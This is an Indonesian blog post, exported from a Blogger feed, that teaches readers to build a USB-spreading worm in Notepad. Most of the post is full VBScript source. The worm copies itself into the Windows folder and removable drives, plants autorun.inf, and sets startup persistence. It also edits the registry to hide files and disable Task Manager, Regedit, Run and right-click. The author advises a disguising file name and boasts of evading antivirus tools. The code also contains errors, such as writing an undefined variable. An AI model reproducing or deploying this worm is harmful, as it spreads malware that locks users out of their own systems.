tag:blogger.com,1999:blog-18110583528815410352024-02-20T10:49:02.685-08:00Kumpulan Cheat Tips & Trik GamesCheat PS | Cheat Games Online | Cheat Ninja Saga | Trik Handphone | info Hacked | Tips & Trik Lainnya.Anonymoushttp://www.blogger.com/profile/12507130376336395982noreply@blogger.comBlogger1125tag:blogger.com,1999:blog-1811058352881541035.post-80991217400222739042013-01-15T21:07:00.002-08:002013-01-15T21:07:35.115-08:00Cara Membuat Virus dgn Notepad<div class="mceTemp">
<dl class="wp-caption alignnone">
<dt class="wp-caption-dt"><a href="http://t3.gstatic.com/images?q=tbn:ANd9GcSJ55KMV5ivOsvkTInDpOZ3kMghZjnyBynpvDz25zcE9nqWuYLXkrJOVW4"><img alt="Virus" height="127" src="http://t3.gstatic.com/images?q=tbn:ANd9GcSJ55KMV5ivOsvkTInDpOZ3kMghZjnyBynpvDz25zcE9nqWuYLXkrJOVW4" title="Viruses" width="126" /></a></dt>
</dl>
</div>
Virus ini akan membuat dirinya menyebar ke removable disc dengan
AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan
langsung menjadi korban tanpa menungu User menjalankan infector-nya.
Virus ini saya beri nama “YouDieCbrXplr.VBS”. Sekarang buka Notepad-nya.
Copy kode berikut :<br />
<span style="color: red;">‘//-Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus-//</span><br />
<span style="color: red;"> on error resume next</span><br />
<span style="color: red;"> ‘//-Dim kata-kata berikut ini-//</span><br />
<span style="color: red;"> dim rekur,windowpath,flashdrive,fs,mf,isi,tf,YouDieCbrXplr,nt,check,sd</span><br />
<span style="color: red;"> ‘//-Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information-//</span><br />
<span style="color: red;"> isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe YouDieXplr.dll.vbs”</span><br />
<span style="color: red;"> set fs = createobject(“Scripting.FileSystemObject”)</span><br />
<span style="color: red;"> set mf = fs.getfile(Wscript.ScriptFullname)</span><br />
<span style="color: red;"> dim text,size</span><br />
<span style="color: red;"> size = mf.size</span><br />
<span style="color: red;"> check = mf.drive.drivetype</span><br />
<span style="color: red;"> set text = mf.openastextstream(1,-2)</span><br />
<span style="color: red;"> do while not text.atendofstream<span id="more-242"></span></span><br />
<span style="color: red;"> rekur = rekur & text.readline</span><br />
<span style="color: red;"> rekur = rekur & vbcrlf</span><br />
<span style="color: red;"> loop</span><br />
<span style="color: red;"> do</span><br />
<span style="color: red;"> ‘//-Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)</span><br />
<span style="color: red;"> Set windowpath = fs.getspecialfolder(0)</span><br />
<span style="color: red;"> set tf = fs.getfile(windowpath & “\batch- YouDieXplr.dll.vbs “)</span><br />
<span style="color: red;"> tf.attributes = 32</span><br />
<span style="color: red;"> set tf=fs.createtextfile(windowpath & “\batch- YouDieXplr.dll.vbs”,2,true)</span><br />
<span style="color: red;"> tf.write rekursif</span><br />
<span style="color: red;"> tf.close</span><br />
<span style="color: red;"> set tf = fs.getfile(windowpath & “\batch- YouDieXplr.dll.vbs “)</span><br />
<span style="color: red;"> tf.attributes = 39</span><br />
<span style="color: red;"> ‘//-Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok-//</span><br />
<span style="color: red;"> ‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket</span><br />
<span style="color: red;"> for each flashdrive in fs.drives</span><br />
<span style="color: red;"> ‘//-Cek Drive-//</span><br />
<span style="color: red;"> If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then</span><br />
<span style="color: red;"> ‘//-Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\-//</span><br />
<span style="color: red;"> set tf=fs.getfile(flashdrive.path &”\YouDieXplr.dll.vbs “)</span><br />
<span style="color: red;"> tf.attributes =32</span><br />
<span style="color: red;"> set tf=fs.createtextfile(flashdrive.path &”\YouDieXplr.dll.vbs “,2,true)</span><br />
<span style="color: red;"> tf.write rekursif</span><br />
<span style="color: red;"> tf.close</span><br />
<span style="color: red;"> set tf=fs.getfile(flashdrive.path &”\YouDieXplr.dll.vbs “)</span><br />
<span style="color: red;"> tf.attributes = 39</span><br />
<span style="color: red;"> ‘//-Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)-//</span><br />
<span style="color: red;"> set tf =fs.getfile(flashdrive.path &”\autorun.inf”)</span><br />
<span style="color: red;"> tf.attributes = 32</span><br />
<span style="color: red;"> set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)</span><br />
<span style="color: red;"> tf.write isi</span><br />
<span style="color: red;"> tf.close</span><br />
<span style="color: red;"> set tf = fs.getfile(flashdrive.path &”\autorun.inf”)</span><br />
<span style="color: red;"> tf.attributes=39</span><br />
<span style="color: red;"> end if</span><br />
<span style="color: red;"> next</span><br />
<span style="color: red;"> ‘//-Manipulasi Registry-//</span><br />
<span style="color: red;"> set YouDieCbrXplr = createobject(“WScript.Shell”)</span><br />
<span style="color: red;"> ‘//-Manip – Ubah Title Internet Explorer menjadi THE YOUDIECBRXPLR v.s. ZAY-//</span><br />
<span style="color: red;"> YouDieCbrXplr.regwrite
“HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window
Title”,” THE YOUDIECBRXPLR v.s. ZAY “</span><br />
<span style="color: red;"> ‘//-Manip – Set agar file hidden tidak ditampilkan di Explorer-//</span><br />
<span style="color: red;"> YouDieCbrXplr.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,
“0″, “REG_DWORD”</span><br />
<span style="color: red;"> ‘//-Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager-//</span><br />
<span style="color: red;"> YouDieCbrXplr.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”</span><br />
<span style="color: red;"> YouDieCbrXplr.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”,
“1″, “REG_DWORD”</span><br />
<span style="color: red;"> YouDieCbrXplr.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”</span><br />
<span style="color: red;"> YouDieCbrXplr.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,
“1″, “REG_DWORD”</span><br />
<span style="color: red;"> YouDieCbrXplr.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,
“1″, “REG_DWORD”</span><br />
<span style="color: red;"> ‘//-Manip – Disable klik kanan-//</span><br />
<span style="color: red;"> YouDieCbrXplr.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”,
“1″, “REG_DWORD”</span><br />
<span style="color: red;"> ‘//-Manip – Munculkan Pesan Setiap Windows Startup-//</span><br />
<span style="color: red;"> YouDieCbrXplr.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,
“Worm YouDieCbrXplr. Variant from Rangga-Zay, don’t panic all data are
safe.”</span><br />
<span style="color: red;"> ‘//-Manip – Aktif setiap Windows Startup-//</span><br />
<span style="color: red;"> YouDieCbrXplr.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”,
windowpath & “\batch- YouDieXplr.dll.vbs “</span><br />
<span style="color: red;">//-Manip – Ubah RegisteredOwner dan Organization-//</span><br />
<span style="color: red;"> YouDieCbrXplr.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”</span><br />
<span style="color: red;"> YouDieCbrXplr.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”YouDieCbrXplr”</span><br />
<span style="color: red;">‘//-Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan-//</span><br />
<span style="color: red;"> if check <> 1 then</span><br />
<span style="color: red;"> Wscript.sleep 200000</span><br />
<span style="color: red;"> end if</span><br />
<span style="color: red;"> loop while check <> 1</span><br />
<span style="color: red;"> set sd = createobject(“Wscript.shell”)</span><br />
<span style="color: red;"> sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname</span><br />
<span style="color: red;"> ‘Akhir dari Kode</span><br />
Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type
pilih “All Files (*.*). Simpan dengan nama : YouDieXplr.dll.vbs.
Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak
mencurigakan aja.<br />
He..he…Virus Worm ini memang bukan murni dari pemikiran saya sendiri
karena meniru kode-nya virus Rangga-Zay kemudian saya kembangkan. Tapi
yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV,
dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak
perlu membeli software bajakan. Pakai Notepad (dari Windows Original)
juga bisa.Anonymoushttp://www.blogger.com/profile/12507130376336395982noreply@blogger.com0